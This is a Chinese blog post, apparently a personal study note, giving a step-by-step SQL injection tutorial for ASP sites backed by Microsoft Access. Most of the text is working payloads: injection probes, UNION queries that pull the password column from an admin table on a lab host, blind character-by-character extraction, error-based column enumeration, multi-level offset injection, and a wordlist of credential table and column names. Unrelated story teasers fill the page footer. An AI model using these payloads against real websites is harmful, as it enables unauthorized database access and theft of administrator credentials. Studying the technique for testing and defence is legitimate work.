2018-05-09 漏洞2.ASP+ACCESS SQL注入

注入判断:

单引号:'

数字型:and 1=1 /and 1=2

字符型:' and '1'='1 /' and '1'='2

搜索型:%' and 1=1 and '%'=' / %' and 1=2 and '%'='

Asp注入的三种方法

第一种:联合查询

1.使用order by对数据进行排序,判断存在多少个列表

order by 22 正确

order by 23 错误

2.使用UNION联合查询判断

+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin

这里猜测表名为admin,使用联合查询的方法

image.png

3.猜解列名填入前端显示处返回列表内容

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22+from+admin

第二种:猜解

2.1爆破的方式

猜表名

返回正确说明存在相关表名

AND exists(select * from tablesname) 

猜列名

返回正确说明列名存在

AND exists(select columnsname from tablesname)

特殊方法:

在Access数据库里,也支持having 和 group by 语句

A、如果站点SQL查询语句为 select id,name,address from 表名

也就是说查询的是特定的字段数据(而不是*),那么我们可以这么爆,

productshow.asp?id=25 group by 1 having 1=1(数字型),

如果字符型就 'group by 1 having '1'='1'

返回错误:

Microsoft JET Database Engine (0x80040E21)

试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。

爆出id字段,继续,productshow.asp?id=25 group by 1,id having 1=1

返回错误:

Microsoft JET Database Engine (0x80040E21)

试图执行的查询中不包含作为合计函数一部分的特定表达式 'email' 。

依次类推productshow.asp?id=25 group by 1,id,email having 1=1,可以爆出目标表中的所有字段

B、如果站点SQL查询语句为select * from product where id=”ID”

那么执行上述语句就会返 回这样的错误:

Microsoft JET Database Engine 错误 '80040e21' 不能将已选定'*'的字段中组合。/productshow.asp,行 18

这时我们可以这样爆字段,

productshow.asp?id=25 having sum(1)=1(数字型)

                    ' having sum('1')='1')(字符型)

返回的错误:

Microsoft JET Database Engine 错误 '80040e21' 试图执行的查询中不包含作为合计函数一部分的特定表达式 'id' 。/productshow.asp,行 18

可以看到爆出了ID。

但这样很有局限性,只能爆出第一个字段id,其他的就没办法了。而id字段其实可能是可以直接猜出来的。

2.2逐字猜解的方法

猜解列中内容的行数

x为内容的行数大于等于0开始,返回正确说明存在

AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)

如下表单为admin,AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)


image.png

猜解内容的长度

如果目标注入点不直接回显错误信息,则我们需要首先知道目标字段内容的长度,才能进一步通过写脚本爆破出字段内容。

需要已知表名和列名然后猜列中字段长度

AND IIF((SELECT TOP 1 LEN(columnsname) FROM tablesname) = x, 1, 0)

或者

and (select top 1 len(columnsname)from tablesname)>x

猜解内容

and (select top 1 asc(mid(列名,位数,1)) from 表名)>97

神奇的分割线





Access偏移注入

偏移注入的使用条件如下:

主查询语句的字段数大于或等于目标表列的两倍最好,这样一般都能显示齐。

知道目标表的一个字段,比如id,但是却不知道其他字段。

简单说下偏移注入原理:

1.Union联合查询需要列相等,顺序一样;

2.这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行。显然,a、b都是同一个表,当然全部返回啦。

select * from admin as a inner join admin as b on a.id=b.id

(1)order by 判断存在的字段数

使用*号代替所有字段直到访问返回正确。这里可以看到16时候正确,同时也表示admin下有6个字段。

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

(2) 计算偏移后剩余的字段位数

公式 : 总字段数-(总字段数-剩余字段数)*2=

例: 22-(22-16)*2=10

(3) 使用偏移查看是否直接爆出字段内容

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

(4)如果显示不完全添加新的id

星号*代表了所有字段,如你查admin表,他有几个字段,那么星号就代表几个字段。

如果爆出的内容不在可显示字段怎么办?那么添加a.id字段,bid字段

union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

(5)如果依然有问题,可以进行二级偏移

二级偏移同时需要再减去admin的字段数量6个,同时添加c.id

http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

这里假设主语句查询字段共20个,目标表admin字段数为5。

大家是否觉得很疑惑:10+2 + 5*2 = 22 > 20

但这条语句是合法的。因为a.id和 b.id在 * 里是有的,那么自动去掉重复的元素以保持结果集合里元素的唯一性。这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱很有可能让username、password等字段偏移到可显示位置。

如果还没成功 怎么办?

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)


其他技巧

检测数据库是否开启沙箱模式

SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1

用TOP代替LIMIT

LIMIT不被支持,但在查询中可以声明”TOP N”来限制返回内容的行数:

 UNION SELECT TOP 3 AttrName FROM validTableName

字符串连接

支持CONCAT()函数,可以使用”&”或”+”操作来连接两个字符串。在使用时必须对这两个操作符进行URLencode编码

UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"

UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"

爆数据库路径

可以通过对一个不存在的库进行SELECT操作,Access将会返回一条包含有完整路径的错误信息:

UNION SELECT 1 FROM ThisIsAFakeName.FakeTable

表名/列名字典

account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;

customers, customer, config, conf, cfg;

hash;

login, logout, loginout, log;

member, memberid;

password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;

store, store1, store2, store3, store4, setting;

username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 196,165评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,503评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,295评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,589评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,439评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,342评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,749评论 3 387
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,397评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,700评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,740评论 2 313
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,523评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,364评论 3 314
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,755评论 3 300
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,024评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,297评论 1 251
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,721评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,918评论 2 336

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,517评论 18 139
  • Day02课程——Mysql数据入门 1.安装,使用 下载SQLyog安装,破解打开注册表注册使用填写需要的IP地...
    繁华落幕_川阅读 262评论 0 1
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,925评论 0 2
  • 现在我自己一个人在图书馆里,又经历了这样的一次失败,我像个无助的孩子一样,想哭,但是又不能哭。 好久都没有过这样的...
    说dream阅读 227评论 0 0
  • Evenodd阅读 275评论 0 0